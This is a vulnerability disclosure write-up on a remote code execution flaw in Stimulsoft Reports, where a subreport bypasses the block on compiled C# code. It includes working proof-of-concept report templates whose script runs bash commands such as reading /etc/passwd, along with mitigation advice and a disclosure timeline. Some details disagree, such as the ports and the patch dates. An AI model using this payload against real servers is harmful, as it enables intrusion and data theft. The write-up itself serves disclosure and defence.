Writeup: Subreport Remote Code Execution in Stimulsoft Reports
17 April 2025TL;DR
The Stimulsoft Reports library generates reports based on a template which can contain C# code. With the default configuration, the library has protective measures to not execute code included in the template. But by embedding a subreport in the template, the protection is bypassed and arbitrary code can be executed. This means the default configuration of Stimulsoft Reports is vulnerable to remote code execution.
The vulnerability is applicable to all Stimulsoft Reports distributions where .NET is used on the server. This vulnerability is fixed in Stimulsoft Reports 2025.2 released 2025-03-18. Earlier versions are vulnerable.
Background
Stimulsoft Reports is a suite of software libraries with the purpose of designing and generating reports in different formats such as PDF or Excel. The reports can be created with data from external sources such as databases or CSV files and can visualize data in tables or different types of charts.
The library can be used from multiple programming languages and execution contexts. This post specifically applies to the cases where .NET is processing the report template on the server.
Reports can be stored as templates that contains the layout and may reference data that can later be used when rendering the report. The report template contains components, which are the building blocks of a report. Components relevant to this vulnerability are text fields and subreports.
- Text fields: Contain plain text and can contain expressions
- Subreports: Embed the referenced report into the parent report They can be referenced either by a local file path or by a web URL.
Every report also defines whether expressions should be evaluated using a Stimulsoft interpreter or a C# compiler.
By default, reports are not allowed to be opened in the compilation mode, and shows the error below to the user.
However, it is possible to configure the render engine for Stimulsoft from the C# code using options as static variables with true or false values.
The option StiOptions.Viewer.AllowOpenDocumentWithCompilation
can be set to true if the compilation mode is desired.
If the option is enabled and the report template uses the compilation mode, a script section of the report, containing C# code can be executed. This is done by referencing a function from the code can in an expression in the report.
Proof of Concept
With the default settings (i.e. StiOptions.Viewer.AllowOpenDocumentWithCompilation
set to false), it is possible to render a subreport using the compilation mode even though the main report is not allowed to be rendered using the compilation mode.
This can be showcased using the Stimulsoft sample Web Demo available on their Github repo, v2025.1.6.
1. Running the Demo Application
Run the sample using dotnet run
from the Web Demo folder, a web server is started on https://localhost:5001
.
2. Preparing the Payload
Add the two following files to an empty directory. The first file includes a subreport component which renders the second file, which uses the compilation calculation mode and executes C# code contained in the script section of the file.
report-with-subreport.mrt
{
"CalculationMode": "Interpretation",
"Pages": {
"0": {
"Ident": "StiPage",
"Components": {
"0": {
"Ident": "StiText",
"ClientRectangle": "0,0,40,50",
"Text": {
"Value": "Main report"
},
},
"1": {
"Ident": "StiSubReport",
"ClientRectangle": "0,0,40,50",
"SubReportUrl": "http://localhost:8000/report-with-code.mrt"
}
},
}
}
}
report-with-code.mrt
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<StiSerializer version="1.02" type="Net" application="StiReport">
<CalculationMode>Compilation</CalculationMode>
<Pages isList="true" count="1">
<Page1 Ref="4" type="Page" isKey="true">
<Components isList="true" count="5">
<Text0 Ref="10" type="Text" isKey="true">
<CanGrow>True</CanGrow>
<ClientRectangle>0,40,570,20</ClientRectangle>
<Name>Text0</Name>
<Text>{magicValue()}</Text>
<TextOptions>,,,,WordWrap=True,A=0</TextOptions>
<Type>Expression</Type>
</Text0>
</Components>
<Name>Page1</Name>
<PaperSize>A4</PaperSize>
<Report isRef="0" />
</Page1>
</Pages>
<ReferencedAssemblies isList="true" count="9">
<value>System.Dll</value>
<value>System.Drawing.Dll</value>
<value>System.Windows.Forms.Dll</value>
<value>System.Data.Dll</value>
<value>System.Xml.Dll</value>
<value>Stimulsoft.Base.Dll</value>
<value>Stimulsoft.Controls.Dll</value>
<value>Stimulsoft.Report.Dll</value>
<value>System.Diagnostics.Process.dll</value>
</ReferencedAssemblies>
<ReportUnit>HundredthsOfInch</ReportUnit>
<Script>using System;
using System.Drawing;
using System.Windows.Forms;
using System.Data;
using System.Collections;
using Stimulsoft.Controls;
using Stimulsoft.Base.Drawing;
using Stimulsoft.Report;
using Stimulsoft.Report.ReportControls;
using Stimulsoft.Report.Components;
using System.Diagnostics;
namespace Reports
{
public class SimpleList : Stimulsoft.Report.StiReport
{
public SimpleList() {
this.InitializeComponent();
}
public virtual String magicValue() {
var s = "";
s += DateTime.Now.ToString() + "\n";
s += runCmd("cat /etc/passwd");
return s;
}
public String runCmd(String cmd) {
var psi = new ProcessStartInfo();
psi.FileName = "/bin/bash";
psi.Arguments = $"-c \"{cmd}\"";
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
psi.CreateNoWindow = true;
using var process = Process.Start(psi);
process.WaitForExit();
var output = process.StandardOutput.ReadToEnd();
return output;
}
#region StiReport Designer generated code - do not modify
#endregion StiReport Designer generated code - do not modify
}
}</Script>
<ScriptLanguage>CSharp</ScriptLanguage>
</StiSerializer>
In the same directory, run the following command to start a web server hosting the files recently created.
$ python -m http.server -b 127.0.0.1
3. Default Security Measures
Navigate to the Stimulsoft report web demo at https://localhost:5000
and use the open functionality, open the file report-with-code.mrt
.
Now, the warning below is shown and the code contained in the file is not executed if it opened in safe mode.
4. Bypassing Security Measures
Use the open functionality again, and now open the report-with-subreport.mrt
, which contains a subreport pointing to the local python web server with the file executing code.
Now, no warnings are shown and the report below is rendered.
This shows that the command cat /etc/passwd
was executed on the server and also shows that arbitrary remote code execution is possible.
Mitigation
Version 2025.2 contains a patch for the issue and adds a configuration property StiOptions.Engine.AllowOpenSubReportWithCompilation
which defaults to false.
However, we strongly recommend completely disabling the calculation mode compilation
if that feature is not used. This can be by setting the StiOptions.Engine.ForceInterpretationMode
option to true
.
Timeline
Date | Action |
---|---|
2025-03-11 | Vulnerability submitted to Vendor |
2025-03-13 | Vendor acknowledged the submission |
2025-03-21 | Vendor releases version 2025.2 containing a patch for the vulnerability |
2025-04-17 | Public disclosure of vulnerability through this writeup |
More in this series:
- Writeup: AWS API Gateway header smuggling and cache confusion
- Writeup: Keycloak open redirect (CVE-2023-6927)
- Writeup: Exploiting TruffleHog v3 - Bending a Security Tool to Steal Secrets
- Writeup: Stored XSS in Apache Syncope (CVE-2024-45031)
- Writeup: Account Takeover in Authentik due to Insecure Redirect URIs (CVE-2024-52289)
- Writeup: Leaked JWT Tokens as Part of the Curity HAAPI Authorization Flow
- Writeup: Subreport Remote Code Execution in Stimulsoft Reports